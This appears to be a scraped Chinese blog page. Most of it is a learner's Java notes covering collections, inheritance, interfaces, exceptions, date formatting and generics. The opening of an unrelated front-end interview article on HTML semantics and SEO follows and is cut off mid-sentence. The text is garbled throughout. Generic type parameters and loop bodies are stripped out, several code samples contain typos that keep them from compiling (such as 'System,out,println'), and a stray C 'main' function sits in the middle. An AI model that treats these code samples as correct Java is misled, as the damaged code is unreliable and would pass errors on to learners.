ss;}StringBuilder 帮助文档1.append可以跟任意的数据类型2.StringBuilder返回字符串Arraylist1.集合基础编程的时候要存储多个数据,使用长度固定的数据存储格式,不一定满足我们的需求,更适应不了变化的需求集合的特点:提供了一种存储空间可变的存储模型,存储的数据容量可以发生改变。ArrayList是一个集合,在java.utilArraylist array=new arraylist();无元素返回一个中括号array.add("hello");array.add("world");array.add(index:1,element:"javase");2.Arraylist常用方法1.array.remove(o:"world");2.array.remove(index:1);3.array.set(1,"javaee"); //set是修改,不能索引越界4.array.get(0);5.array.size(); //得到集合中的元素的数量3.集合的遍历for(int i=0;i}学生管理系统1.实现思路1.定义学生类2.主界面的代码编写3.添加学生代码编写4.查看学生代码编写5.删除学生代码编写6.修改学生代码编写Alt+insult2.主界面的代码1.用输出语句完成主界面的编写2.用Scanner实现键盘录入数据3,用Scanner实现操作的选择4.用循环完成System.exit(status:0); ///JVM退出继承1.继承是面向对象的三大特征之一。2.可以使得子类具有父亲的属性和方法,还可以在子类中重新定义,追加属性和方法。public class 子类名 extends 父亲名{}3.父类,也被称为基类,超类。4.子类,被称为派生类。继承的好处和弊端1.提高了代码的复用性2.提高了代码的维护性3.继承让类与类之间产生了关系,父类改变,子类改变,削弱了子类的独立性。Super1.super.变量访问的是父类中的成员变量2.this 本类对象引用3.super 父类对象引用继承中构造方法的访问特点1.子中的构造方法被调用时候会访问父类中构造方法2.子类初始化之前,一定呀完成父类的初始化3.每一个子类构造方法的第一条语句默认都是 super();继承中变量的访问特点子类中所有的构造方法默认都会访问父类中无参的构造方法为什么呢因为子类会继承父类中的数据,可能还会使用父类中的数据。所以,子类在初始化之前,一定要完成父类的初始化每一个子类构造方法的第一条语句默认都是super();如果父类中没有无参的构造方法,只有带参的构造方法,该怎么办呢通过super关键字去显示的调用父亲的带参构造方法在父类中自己提供一个无参构造方法集成中成员方法的访问特点1.从子方法中调方法,首先从子类里面找,子类里面没有,从父类里面找。2.不考虑父亲的父亲方法重写1.方法重写2.子类中出现和父类一模一样的方法声明方法重写的应用当子类需要父类的功能,二功能主题子类拥有自己特有的内容时,可以重写父亲中的方法,这样既沿袭了父类的功能,又定义了子类特有的功能。3.@override标注重写可以帮助我们检查正确性父类中的私有内容子类是不能继承到的没有public和private也会有默认的标识符private低于publicjava中继承的注意事项1.java中类不能同时继承多个类2.son可以继承father,father可以继承granddad_Package1.包其实就是文件夹作用:对类进行分类管理2.包的概述和使用格式:package 包名;3.带包的java编译和执行手动建包按照以前的格式编译java文件 javac Helloworld.java手动创建包 在E盘下建立文件夹itheima把class文件放在包里面带包执行自动建包javac -d. Helloworld.javajava com.itheima导包java.util.Scanner sc=new java.util.jianjianScanner(System.in);import 包名修饰符同一个类中,四种表示符都可以访问到同一个包中子类无关类。默认,protected,public可以访问到不同包子类,protected,public可以访问到不通包无关类只有public可以访问到状态修饰符1.final一个方法被final修饰不可以被重写一个类被final修饰不可以被继承一个变量被final修饰不可以被修改2,final修饰局部变量final修饰引用变量,其实是一个地址不能变,这个变量可以变4.static修饰的特点被类的所有对象共享这也是我们判断是否使用静态关键字的条件可以通过类名调用当然,也可以通过对象名带调用5.静态的成员变量只能访问静态成员多态1.多态的前提和实现有继承/实现关系有方法重写有父类引用指向子类对象2.多态中成员的访问特点成员变量:编译看左边,执行看左边成员方法:编译看左边,执行看右边为什么成员变量和成员方法的访问不一样呢因为成员方法有重写,而成员变量没有3.多态的好处和弊端好处:提高了程序的扩展性,使用父类作为参数,将来在使用的时候,使用具体的子类型参加操作弊端:不能使用子类的特有功能4.多态中的转型向上转型:从子到父父亲引用指向子类对象向下转型从父到子父类引用转为子类对象抽象类1.在Java中,一个没有方法体的方法定义为抽象方法,而类中如果有抽象方法,该类必须定义为重选ing类2.抽象类需要abstract修饰3.抽象类中可以没有抽象方法4.抽象类的特点有抽象方法的一定是抽象类抽象类中不一定有抽象方法抽象类不能实例化抽象类的子类:要么重写父类中所有的抽象方法,要么就是抽象类5.抽象类的成员特点抽象类可以有变量和常量接口1.接口是一种公共的规范标准,只要符合规范请按标准,大家都可以使用Java中的接口更多的体现在对行为的抽象2.接口特点public interface 接口名{}public class 类名 implements 接口名{}接口的成员特点1.接口中的成员变量接口中的成员变量默认是final修饰的2.Inter.num3.接口中的成员变量public static final int num3=30等效于int num=304.接口不能实例化,只能通过实现类进行实例化5.接口是没有构造方法的,接口主要对行为进行抽象的6.类Object是类层次结构的根,每个类都有Object作为超类。所有对象(包括数组)都实现了这个类的方法7.成员方法接口里面不能有非抽象方法8.接口里面的方法默认带着public abstract修饰猫和狗1.思路:定义接口成员方法:跳高();定以抽象动物类成员变量:姓名,年龄;构造方法:无参带参;成员方法:get/set方法,吃饭定义具体猫类定义具体狗类类和接口的关系1.类和类的关系继承关系,只能单继承,但是可以多层继承2.类和接口的关系实现关系,可以单实现,还可以在继承一个类的同时实现多个接口3.接口和接口的关系继承关系,可以单继承,也可以多继承抽象类和接口的区别1.成员区别抽象类:变量,常量:有构造方法,也有非抽象方法接口:常量:抽象方法关系区别:类与类 继承,单继承类与接口 实现 可以单实现,也可以多实现接口与接口 继承,单继承,多继承2.抽象类是对事物的抽象,而接口是对行为的抽象类名作为形参和返回值public class Cat{•   public void eat(){•       System.out.println("猫吃鱼");•   }}public class Catoperater{•   public void useCat(Cat c){•           c.cat();•   }•   public Cat getCat(){•       Cat c=new Cat();•       return c;•   }}public class CatDemo{•   public static void main(String[] args){•       Catoperater co=new Catoperater();•       Cat c=new Cat();•       co.useCat(c);•       Cat c2=co.getCat();    }}方法的形参是该类的类名,其实需要的是该类的对象方法的返回值是类名,其实返回的是该类的对象抽象类名作为形参和返回值方法的形参是抽象类名,其实需要的是该抽象类的子类对象方法的返回值是抽象类名,其实返回的是抽象类的子类对象public abstract class Animal{•   public abstract void eat();}public class AnimalOperater{•   public void useAnimal(Animal a){•       a.eat();•   }}public class Cat extends Animal{•   public void eat(){•       System.out.println("猫吃鱼");•   }}public class AnimalDemo{•   public static void main(String[] args){•       AnimalOperater ao=new AnimalOperater();•       Animal a=new Cat();•       ao.useAnimal(a);•       Cat a2=ao.getAnimal();•   }}接口名作为形参和返回值public interface JumppingOperater{•   public void useJumpping(Jumpping j){•       j.jump();•   }    public Jumpping getJumpping(){        Jumpping j=new Cat();        return j;    }}public class  Cat implements Jumpping{•   @override•   public void jump(){•       System.out.println("猫可以跳高了");•   }}方法的形参是接口名,其实需要的是该接口的实现类对象方法的返回值是接口名,其实返回值是接口的实现类对象内部类1.就是在一个类中定义一个类,在一个类A的内部定义一个类B,类b是内部类2.特点: 内部类可以直接访问外部类的成员,包括私有外部类要访问内部类的成员,必须创建对象成员内部类1.在类的定义位置不同,可以分为以下两种形式在类的成员位置:成员内部类在类的局部位置:局部内部类public class Outer{•   private int num=100;    public class Inner{•       public void show(){•           System,out,println(num);•       }    }}//外部访问内部类Outer.inter oi=new Outer().new.inter();public class Outer{    private int num=100;    private class Inner{        public void show(){            System,out,println(num);        }    }    public void method(){        Inner i=new Inner();        i.show();    }}局部内部类public class Outer{    private int num=100;    public void method(){•      class Inner{•           public void show(){•               System,out,println(num);•           }•      }    }    Inner i=new Inner();    i.show();}局部内部类是方法内部定义的类,外界是无法使用的,需要在方法内部创建对象并使用该类可以直接访问外部类的成员,也可以访问方法内的局部变量匿名内部类前提:存在一个类或者接口,这里的类可以是具体的类也可以是抽象类Math(常用API)1.Math包含执行基本数字运算的方法2.没有构造方法3.用static修饰的方法是可以通过方法名访问的4.public static int abs(int a)public static double ceil(double a)public static double floor(double a)public static int max(int a,int b)public static int min(int a,int b)public static double pow(double a,double b) //求a的b次幂public static double random() //返回double的正值 【0.0 1.0】Math.abs()5.java.lang包下,不需要导包System(常用API)1.System包含几个有用的类字段和方法,它不能被实例化2.public static void exit();用于终止当前正在运行的java虚拟机System.exit(status: 0);3.public static long currrentTimeMillis()返回当前时间,单位为毫秒(返回当前时间与1970年之间的毫秒值)Object类的tostring()方法1.object是所有类的层次结构的根,每个类都有object作为超类,所有对象都实现了这个类的方法2.为什么子类只访问了父类的无参构造方法,因为他们的顶级父类只有无参构造方法3.双击方法goto找declaration或者选中方法按下Ctrl+b,查看源码4.为了在子类中可以看明白子类信息,而不是无效信息,可以重写tostring方法建议操作为Alt+insert tostringObject中的equal()方法1.s1.equal(s2);2.在子类中重写的简单方法Alt+insert equal() 选择模板Intel Defaultnext3.重写后的方法先判断地址,一样返回true再判断参数是否为NULL,为NULL返回false判断两个对象是否为一个类的,否返回false4.向下转型Arrays1.java.util需要导包包含用于操作数组的各种放方法2.Arrays类中包含的各种操作数组的方法public static String toString(int[] a)返回指定数组的内容的字符串表示形式public static void sort(int[] a)按照数字排列指定的数组3.Arrays.toString(arr);Arrays.sort(arr);4.工具类的设计思想 构造方法用private修饰成员方法用public static修饰基本类型包装类1.Integer类public final class Integer在java.lang包下面,使用时不需要导包java.lang.Integer继承自java.lang.Numberjava.lang.Number继承自java.lang.Object2.Integer类下面有public static final int MAX_VALUEpublic static final int MIN_VALUE3.调用时Integer.MAX_VALUE4.将基本数据类型封装成对象的好处在于可以在对象中定义更多的功能方法操作该数据常见的操作是:用于基本数据类型与字符串之间的转换5.基本数据类型有:byte short int long float double char boolen分别对应的包装类是:Byte Short Integer Long Float Double Character BoolenInteger1.Integer类的概述和使用过时的方法是可以用的过时的构造方法:public Integer(int value)public Integer(String s)2.用过时的方法创建对象Integer i2=new Integer(value:100);Integer i2=new Integer(s:"100");3.用不过时的方法创建对象Integer i1=Integer.valueof(100);Integer i1=Integer.valueof("100");int和String的互相转换不专业的int类型转换成Stringint number=100;String s1=""+number;System.out.println(s1);//字符串做加法实际上是字符串的拼接专业方式Integer i1=Integer.valueof(100);String s2=String.valueof(number);System.out.println(s2);String转成int借助Integer间接转化String s="100";//先把String转化成Integer类型,再把Integer转化成int类型Integer i=Integer.Valueof(s);//public  int intValue()int x=i.intValue();System.out.println(x);直接转化//public static int parseInt(String s)String s="100";int y=Integer.parseInt(s);System.,out.println(y);Date一个Date类在java.sql包下现在学的是util下面的Date类Date代表了一个特定的时间,以毫秒为精度public class Date有两个构造方法public Date()public Date(long date)代码演示import java.util.Date;public class DateDemo{   public static void main(String[] args){      Date d1=new Date();      System.out.println(d1);      long date=1000*60*60;      Date d2=new Date(date);      System.out.println(d2);       //此时输出会受到时差影响    }}代码输出为Sat Mar 05 21:22:27 CST 2022 Thu Jan 01 09:00:00 CST 1970Date常用方法1.public long getTime()//获取的是日期对象从1970年1月1日00;00;00到现在的毫秒值public void setTime(long time)//设置时间给的是毫秒值import java.util.Date;public class Demo{   public static void main(String[] args){      Date d=new Date();      System.out.println(d.getTime()*1.0/1000/60/60/24/365+"年");   }}import java.util.Date;public class Demo{   public static void main(String[] args){      Date d=new Date();       long time=1000*60*60;       d.setTime(time);      System.out.println(d);   }}SimpleDateFormat1.java.text.SImpleDateFormat继承自java.text.DateFormatjava.text.DateFormat继承自java.text.Formatjava.text.Format继承自Java.lang.Objectint main(){return 0;}2.允许您从选择日期格式化的任何用户定义的模式开始日期和时间日期和时间模式字符串指定,在日期和时间模式字符串中,从A到Z以及a到z引号字母被解释为表示日期或时间字符串的组件模式字母3.SimpleDateFormat是具体的类,用于以区域设置敏感的方式格式化和解析日期,我们重点学习日期格式化和解析4. y 年 M 月 d 日 H 时 m 分 s 秒 5.SimpleDateFormat的构造方法public SimpleDateFormat() 构造一个SimpleDateFormat,使用默认的模式和日期格式public SimpleDateFormat(String pattern) 构造一个SimpleDateFormat,使用给定的的模式和默认的日期格式6.SimpleDateFormat的格式化和解析日期public final String format(Date date)将日期格式化成日期时间字符串public Date parse(String source)从给定字符串的开始解析文本以生成日期7.实例import java.text.SimpleDateFormat;import java.util.Date;public class StudentDemo{    public static void main(String[] args){        Date d=new Date();        SimpleDateFormat sdf=new SimpleDateFormat();        String s=sdf.format(d);        System.out.println(s);    }}//输出:2022/3/6 上午11:26import java.text.SimpleDateFormat;import java.util.Date;public class StudentDemo{    public static void main(String[] args){        Date d=new Date();        SimpleDateFormat sdf=new SimpleDateFormat("yyyyMMddHHmmss");        String s=sdf.format(d);        System.out.println(s);    }}//输出:20220306112545import java.text.SimpleDateFormat;import java.util.Date;public class StudentDemo{    public static void main(String[] args){        Date d=new Date();        SimpleDateFormat sdf=new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");        String s=sdf.format(d);        System.out.println(s);    }}//输出:2022年03月06日 11:28:09import java.text.ParseException;import java.text.SimpleDateFormat;import java.util.Date;public class StudentDemo{    public static void main(String[] args) throws ParseException {        String ss="2048-08-09 11:11:11";        SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");        Date dd=sdf.parse(ss);        System.out.println(dd);    }}日期工具类1.定义一个日期工具类(DateUtlis),包含两个方法:把日期转换成指定的格式字符串;把字符串解析成指定的格式日期2.定义日期工具类定义一个方法dateToString异常1.public class StudentDemo{    public static void main(String[] args){      method();    }    public static void method(){        int[] arr={1,2,3};        System.out.println(arr[3]);    }}输出为Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 3 out of bounds for length 3 at com.itheima_02.StudentDemo.method(StudentDemo.java:9) at com.itheima_02.StudentDemo.main(StudentDemo.java:5)数组越界异常ArrayIndexOutOfBoundsException在java.lang包下面java.lang.ArrayIndexOutOfBoundsException间接继承自java.lang.Throwable2.Throwable是java中所有错误和异常的超类两个子类error和异常通常用于表示出现的异常情况3.Error表示严重的问题,合理的应用程序不应该试图捕获4.异常及其子类是Throwable的形式,表示合理应用程序可能想要捕获的条件异常类和不是RuntimeException的子类的任何子类都是检查异常JVM的默认处理方案1.将异常的名称原因位置输出在控制台2.然后结束程序异常处理之try...catch1.格式try{可能出现异常的代码} catch(异常类名 变量名){ 异常代码的处理代码}出现异常,会自动生成一个异常对象,该异常对象会被提交给Java运行时程序当Java运行时程序接收到异常对象时,会到catch中去找匹配的异常类。找到后进行异常的处理public class StudentDemo{    public static void main(String[] args){        System.out.println("开始");        method();        System.out.println("结束");    }    public static void method(){        try {            int[] arr = {1, 2, 3};            System.out.println(arr[3]);  //异常之后相当于new ArrayIndexOutOfBoundsExceptio        }catch(ArrayIndexOutOfBoundsException e){            System.out.println("您访问的数组越界");        }    }}public class StudentDemo{    public static void main(String[] args){        System.out.println("开始");        method();        System.out.println("结束");    }    public static void method(){        try {            int[] arr = {1, 2, 3};            System.out.println(arr[3]);        }catch(ArrayIndexOutOfBoundsException e){            e.printStackTrace();        }    }}Throwable1.public String getMessage()返回Throwable的详细消息字符串public String toString()返回此可抛出的简短描述public void printStackTrace()把异常错误信息输出在控制台2.代码实现public class StudentDemo{    public static void main(String[] args){        System.out.println("开始");        method();        System.out.println("结束");    }    public static void method(){        try {            int[] arr = {1, 2, 3};            System.out.println(arr[3]);        }catch(ArrayIndexOutOfBoundsException e){            System.out.println(e.getMessage());        }    }}/*输出:开始Index 3 out of bounds for length 3结束*/编译时异常和运行时异常的区别1.编译性异常称为受检异常运行时异常称为非首检异常2.java.lang.RuntimeException是运行时异常的父类java.lang.Exception是编译时异常的父类异常处理之throws1.格式throws 异常2.public class StudentDemo{    public static void main(String[] args){        System.out.println("开始");        method();        System.out.println("结束");    }    public static void method()throws ArrayIndexOutOfBoundsException{            int[] arr = {1, 2, 3};            System.out.println(arr[3]);    }}3.throws并不是真正处理异常,而是把异常抛出如果采用throws这种方案,将来谁调用谁处理自定义异常1.自定义异常需要继承自Exception或者RuntimeException2.public class ScoreException extends Exception{    public ScoreException(){}    public ScoreException(String message){        super(message);    }}//自定义一个异常public Throwable(String message) {    fillInStackTrace();    detailMessage = message;}package com.itheima_02;import java.util.Scanner;public class StudentDemo{    public static void main(String[] args){        Scanner sc=new Scanner(System.in);        System.out.println("请输入分数");        int score=sc.nextInt();        Teacher t=new Teacher();        try {            t.checkScore(score);        } catch (ScoreException e) {            e.printStackTrace();        }    }}package com.itheima_02;public class Teacher {    public void checkScore(int score) throws ScoreException {        if (score < 0 || score > 100) {            throw new ScoreException("你给的分数有误,分数应该在0-100之间");        }else{            System.out.println("分数正常");        }    }}//制作一个类,当接收数据符合异常范围时,抛出异常3、throws和throw的区别throws用在方法声明的后面,跟的是异常类名表示抛出异常,由该方法的调用者来处理表示出现异常的一种可能性,并不一定会经常出现这些异常throw用在方法体内,跟的是异常对象名表示抛出异常,由方法体内的语句处理执行throw一定是抛出了某种异常集合体系结构1.集合类的特点: 提供一种存储空间可变的存储类型,存储的数据容量可以随时发生改变2.Collection 单列集合Map 双列集合list 存储元素可重复Set 不可重复3.List下有 ArrayList LinkedListSet 下面有 HashSet TreeSetMap下面有HashMapCollection的集合概述和使用1.在java.util包下面2.Collection是集合层次中的根界面是单列集合的顶层接口,表示一组对象,这些对象也称为Collection的元素JDk不提供此接口的任何直接实现,它提供更具体的字接口的实现3.package Collection;import java.util.ArrayList;import java.util.Collection;public class CollectionDemo01 {    public static void main(String[] args){        //创建集合对象        Collection c=new ArrayList();        //添加数据        c.add("hello");        c.add("world");        c.add("java");        //输出对象        System.out.println(c);    }}Collection集合的常用方法1.boolen add(E e)//调用add永远返回true添加元素boolen remove(Object o)从集合中溢出指定的元素void clear()清空元素boolen contains(Object o)判断集合中是否存在指定的元素boolen isEmpty()判端集合是否为空int size()集合的长度,集合汇总元素的长度2.ViewToolWindowsstructure3.package Collection;import java.util.ArrayList;import java.util.Collection;public class CollectionDemo2 {    public static void main(String[] args){        Collection c=new ArrayList();        System.out.println(c.add("hello"));        System.out.println(c.add("world"));        System.out.println(c.add("java"));        System.out.println(c.remove("world"));        System.out.println(c.remove("javaee"));        System.out.println(c);        c.clear();        System.out.println(c);    }}输出为:true true true true false [hello, java] []package Collection;import java.util.ArrayList;import java.util.Collection;public class CollectionDemo2 {    public static void main(String[] args){        Collection c=new ArrayList();        c.add("hello");        c.add("world");        c.add("java");        System.out.println(c.contains("world"));        System.out.println(c.isEmpty());        System.out.println(c.size());    }}输出truefalse3Collection集合的遍历1.Iterator迭代器,集合专用遍历方式迭代器是通过集合的方法得到的,所以我们说它是依赖于集合而存在的2.Iterator iterater();返回集合中元素的迭代器3.Iterator中的常用方法E next();返回集合中的下一个元素boolen hasNext();如果迭代中具有更多的元素,则返回true4.itrater是一个接口5.package Collection;import java.util.ArrayList;import java.util.Collection;import java.util.Iterator;public class IteratorDemo {    public static void main(String[] args){        Collection c=new ArrayList();        c.add("hello");        c.add("world");        c.add("java");        Iterator it=c.iterator();        while(it.hasNext()){            System.out.println(it.next());        }        }}创建集合对象创建元素添加元素到集合遍历集合(通过集合对象获取迭代器对象,通过迭代器对象的hasNext方法判断是否还有元素,通过next方法获取下一个元素)Collection集合存储学生对象并遍历定义学生类创建Collection创建学生对象把学生添加到集合遍历集合(迭代器方法)List集合的概述和特点1.在java.util是一个接口,继承字自collection2.有序集合3.允许重复的元素4.存储和取出的元素一致5.package List;import java.util.ArrayList;import java.util.Iterator;import java.util.List;public class ListDemo1 {    public static void main(String[] args) {        //创建集合对象        List list=new ArrayList();        list.add("hello");        list.add("world");        list.add("java");        System.out.println(list);        //迭代器        Iterator it= list.iterator();        while(it.hasNext()){            System.out.println(it.next());        }    }List集合特有方法list(int index,String element);remove(int index); //删除元素并返回元素set(int index,E element);get(int index);package List;import java.util.ArrayList;import java.util.Iterator;import java.util.List;public class ListDemo1 {    public static void main(String[] args) {        //创建集合对象        List list=new ArrayList();        list.add("hello");        list.add("world");        list.add("java");        list.add(1,"javaee");        //迭代器        Iterator it= list.iterator();        while(it.hasNext()){            System.out.println(it.next());        }    }}输出为:[hello, javaee, world, java] hello javaee world javapackage List;import java.util.ArrayList;import java.util.Iterator;import java.util.List;public class ListDemo1 {    public static void main(String[] args) {        //创建集合对象        List list=new ArrayList();        list.add("hello");        list.add("world");        list.add("java");        list.remove(1);        //迭代器        Iterator it= list.iterator();        while(it.hasNext()){            System.out.println(it.next());        }    }输出为hello javaList遍历集合package List;import java.util.ArrayList;import java.util.Iterator;import java.util.List;public class ListDemo1 {    public static void main(String[] args) {        //创建集合对象        List list=new ArrayList();        list.add("hello");        list.add("world");        list.add("java");        for(int i=0;i            System.out.println(list.get(i));        }    }}并发修改异常错误程序package List;import java.util.ArrayList;import java.util.Iterator;import java.util.List;public class ListDemo1 {    public static void main(String[] args) {        //创建集合对象        List list = new ArrayList();        list.add("hello");        list.add("world");        list.add("java");        //迭代器        Iterator it = list.iterator();        while (it.hasNext()) {            String s = it.next();            if (s.equals("world")) {                list.add("javaee");            }        }        System.out.println(list);    }}报错Exception in thread "main" java.util.ConcurrentModificationException at java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1013) at java.base/java.util.ArrayList$Itr.next(ArrayList.java:967) at List.ListDemo1.main(ListDemo1.java:15)是运行时异常增强for循环为了简化遍历for(元素数据类型 变量名:数组或者Collection集合){//在此处使用变量即可,该变量就是元素}package List;import javax.swing.*;import java.awt.*;public class ListDemo1 {    private static Object statements;    public static void main(String[] args) {        int[] arr={1,2,3};        for(int i: arr) {            System.out.println(i);        }    }}List集合存储学生对象用三种方法遍历迭代for增强for增强for方法for(Student s:list){System.out,println(s.getname()+","+s.getAge());}List数据结构数据结构:数据结构是计算机存储组织数据的方式,是指相互之间存在一种或多种特定关系的数据元素的集合栈一端开口,栈顶,一端封闭,栈底数据进入栈称为压栈或者进栈数据离开栈的过程叫做弹/出栈进栈和出栈的顺序相反栈是先进后出的模型队列一段开口:后端一段开头:前端从后端进入称为进队列从前端离开称为出队列是一种先进先出的模型数组查询数据通过索引定位。查询任意数据耗时相同,查询速度快删除时,将原始数据删除,每个坐标前移,删除效率低添加数据时,添加位置后的每个数据后移,再添加元素,添加效率极低是一种查询快,增删慢的模型链表结点节点的存储位置称为地址,存储具体的数据,下一个结点的地址头结点结点指向空地址(表示结束)链表是一种增删快的模型(对比数组)查询数据D是否存在,必须从头开始查询哈希值1.哈希值是JDK根据对象的地址或者字符串或者数字算出来的int类型的数值2.Object对象中有一个方法可以获取对象的哈希值3.hascode返回对象的哈希码值4.public int hashCode();5.默认情况下,不同对象的哈希值不同通过方法重写,可以实现不停对象的哈希值是相同的HashSet集合概述和特点1.底层数据结构是哈希表2.继承自Abstract3.实现了Set接口,由哈希表支持,对集合的迭代顺序不做任何保证4.Hashset存储字符串//创建集合对象HashSet hs=new HashSet();import java.util.HashSet;public class Demo {    public static void main(String[] args){        HashSet hs=new HashSet();        hs.add("hello");        hs.add("world");        hs.add("java");        //遍历        for(String s:hs){            System.out.println(s);        }    }}输出: world java helloimport java.util.HashSet;public class Demo {    public static void main(String[] args){        HashSet hs=new HashSet();        hs.add("hello");        hs.add("world");        hs.add("java");        hs.add("world");        //遍历        for(String s:hs){            System.out.println(s);        }    }}输出:world java hello哈希表不包含重复元素常见数据结构之哈希表1.JDK8之前,采用数组加链表实现的,可以说是一个元素为链表的数组2.JDK8以后,在长度比较长的时候,底层实现了优化3.哈希值除以16相同存到一个地方形成链表哈希值完全相同比较内容,内容相同不存储LinkedHashSet集合的概述和特点由哈希表和链表实现的Set接口,具有可预测的迭代次序由链表确保元素有序,也就是说元素的存储和取出顺序是一致的由哈希表保证元素唯一,也就是说没有重复的元素import java.util.HashSet;import java.util.LinkedHashSet;public class Demo {    public static void main(String[] args) {        //创建集合对象        LinkedHashSet LinkedHashSet=new LinkedHashSet();        LinkedHashSet.add("hello");        LinkedHashSet.add("world");        LinkedHashSet.add("java");        for(String s:LinkedHashSet){            System.out.println(s);        }    }}输出hello world javaTreeSet集合的概述和特点1.继承自AbstractSetTreeSet间接实现了Set接口NavigableSet实现基于TreeMap,的元件使用其有序natural ordering,或由Comparator集合创建时提供,这取决于使用的构造方法2.无参根据自然排序进行排序带参构造传递一个比较器接口,根据指定的比较器进行排序3.import java.net.InetAddress;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.TreeSet;public class Demo {    public static void main(String[] args) {        TreeSet ts=new TreeSet();        //添加元素        ts.add(10);        ts.add(40);        ts.add(30);        ts.add(20);        for(Integer i:ts){            System.out.println(i);        }    }}输出: 10203040自然排序Comparable的使用1.创建学生对象并遍历,创建TreeSet集合使用无参构造方法2.package Send;import org.w3c.dom.ls.LSOutput;public class Student {        private String name;        private int age;        public Student(String name, int age) {            this.name = name;            this.age = age;         }       public Student() {        }        public String getname(){            return name;        }        public int getAge(){            return age;        }}import Send.Student;import java.net.InetAddress;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.TreeSet;public class Demo {    public static void main(String[] args) {        //创建集合对象        TreeSet ts=new TreeSet();        //添加元素        Student s1=new Student("李万洲",18);        Student s2=new Student("风清扬",62);        Student s3=new Student("李华",30);        Student s4=new Student("Ben",12);        ts.add(s1);        ts.add(s2);        ts.add(s3);        ts.add(s4);        //遍历集合        for(Student s:ts){            System.out.println(s.getname()+","+s.getAge());        }    }}报错:Exception in thread "main" java.lang.ClassCastException: class Send.Student cannot be cast to class java.lang.Comparable (Send.Student is in unnamed module of loader 'app'; java.lang.Comparable is in module java.base of loader 'bootstrap')at java.base/java.util.TreeMap.compare(TreeMap.java:1569) at java.base/java.util.TreeMap.addEntryToEmptyMap(TreeMap.java:776) at java.base/java.util.TreeMap.put(TreeMap.java:785) at java.base/java.util.TreeMap.put(TreeMap.java:534) at java.base/java.util.TreeSet.add(TreeSet.java:255) at Demo.main(Demo.java:17)package Send;import org.w3c.dom.ls.LSOutput;public class Student implements Comparable{        private String name;        private int age;        public Student(String name, int age) {            this.name = name;            this.age = age;         }       public Student() {        }        public String getname(){            return name;        }        public int getAge(){            return age;        }    @Override    public int compareTo(Student o) {        return 0;    }}线程同步判断多线程程序会有数据安全问题的标准是否是多线程环境是否有共享数据是否有多条语句操作共享数据解决安全问题把多条语句操作共享数据的代码给锁起来,让任意时刻只能有一个线程执行即可synchronized(任意对象){}泛型的概述和好处1.是JDK5引入的特性,它提供了编译时类型安全检查机制,该机制允许在编译时检测到非法的类型,他的本质是参数化类型,也就是说所操作的数据类型被指定为一个参数一提到参数,就是将类型由原来的具体的类型参数化,然后在使用/调用时传入具体的类型这中参数类型可以用在类,方法和接口中,分别被称为泛型类,泛型方法,泛型接口2.泛型定义格式<类型> 指定一种类型的格式,类型可以看做是形参<类型1.类型2> 指定多种类型的格式,类型可以看做是形参将来调用的时候给定给定类型可以看做是实参,实参的形式只能是引用数据类型3.好处:不需要强制转换将运行时错误提前到了编译期泛型类1.泛型类的定义格式修饰符 class 类名{}此处的类可以是任意标识,常见的如T,E,K,V等形式的参数常用于表示泛型public class Generic{    private T t;    public T getT() {        return t;    }    public void setT(T t) {        this.t = t;    }}泛型方法1.方法名相同,参数列表不同,叫方法重载public class Generic{    public void show(T t){        System.out.println(t);    }}2.泛型方法的定义格式修饰符 返回值类型 方法名(类型 变量名){ }public void show()public class Generic{    public void show(T t){        System.out.println(t);    }}泛型接口格式修饰符 interface 接口名<类型>{}public interface Generic{}类型通配符1.为了表示各种泛型的父类,可以使用类型通配符类型通配符 List 表示元素类型为未知的List,它的元素可以匹配任何类型这种带通配符的List仅表示它是各种类型的父类,并不能把元素添加到其中2.2.如果不希望List是任何泛型list的父类,只希望它表示某一类泛型List的父类,可以使用类型通配符的上限也可以指定下限Java语言中的许多库类名称,多与咖啡有关,如 JavaBeans (咖啡豆)、 NetBeans (网络豆)以及ObjectBeans (对象豆)等等。SUN和JAVA的标识也正是一杯正冒着热气的咖啡。
文章
存储  ·  前端开发  ·  IDE  ·  Java  ·  程序员  ·  API  ·  开发工具  ·  Kotlin  ·  索引  ·  Windows
2023-01-28
快速构建初级前端知识体系,面试题汇总
theme: juejinhighlight: vs2015前言原文来自 我的个人博客最近一直在学习 vue3 源码,搞的头有点大,用这篇文章来换换脑子~PS:面试题下附有解答,解答会结合我的思考以及扩展,仅供参考,如果有误麻烦指出,好了就酱~1. HTML在面试中,HTML 的面试题相对来说比较简单,一般面试官不会花太多时间去关注 HTML 的细节。1.1 如何理解 HTML 语义化语义化的含义就是用正确的标签做正确的事情,html 语义化就是让页面的内容结构化。打个比方就是,如果我要实现一个一级标题,可以用 div+css 设置样式字体来达到效果,也可以用 h1,前者当然也能实现效果,但是语义化的方式还是使用 h1 标签,因为我们一看到 h1 标签就会知道他是一个 一级标题,这就是 html 语义化。语义化不仅能方便我们开发人员阅读维护理解还有利于搜索引擎的建立索引、抓取(SEO 优化)而且有还利于不同设备的解析(屏幕阅读器,盲人阅读器等)1.2 谈谈 SEO这个问题可以从三个方向回答:SEO 是什么?它的原理是?SEO 优化方法有哪些?回答:SEO(Search Engine Optimization),意思就是搜索引擎优化。通俗点讲就是提高你的网页在搜索结果中的排名(排名越高越靠前)SEO 的原理可以大致分为四个步骤:爬行和抓取:搜索引擎派出称为爬虫的程序,从一只网页出发,就像正常用户的浏览器一样访问这些网页抓取文件,并且会跟踪网页上的链接,访问更多的网页。索引:搜索引擎将爬取的网页文件分解、分析存入数据库,这个过程就是索引。搜索词处理:用户输入关键词,点击搜索后,搜索引擎会进行 分词 检查拼音 错别字 等等。。。排序:搜索引擎从索引数据库中找出所有包含搜索词的网页,并按照计算法进行排序返回。SEO 优化可以分为内部优化和外部优化内部优化标签优化:语义化标签、META 标签网站内容更新:每天保持站内的更新(主要是文章的更新等)服务器端渲染(SSR)内部链接的优化,包括相关性链接(Tag 标签),锚文本链接,各导航链接,及图片链接外部优化:外部链接类别:博客、论坛、B2B、新闻、分类信息、贴吧、知道、百科、相关信息网等尽量保持链接的多样性外链运营:每天添加一定数量的外部链接,使关键词排名稳定提升。外链选择:与一些和你网站相关性比较高,整体质量比较好的网站交换友情链接,巩固稳定关键词排名1.3 HTML 有哪些块级元素,有哪些行内元素以及他们的区别display: 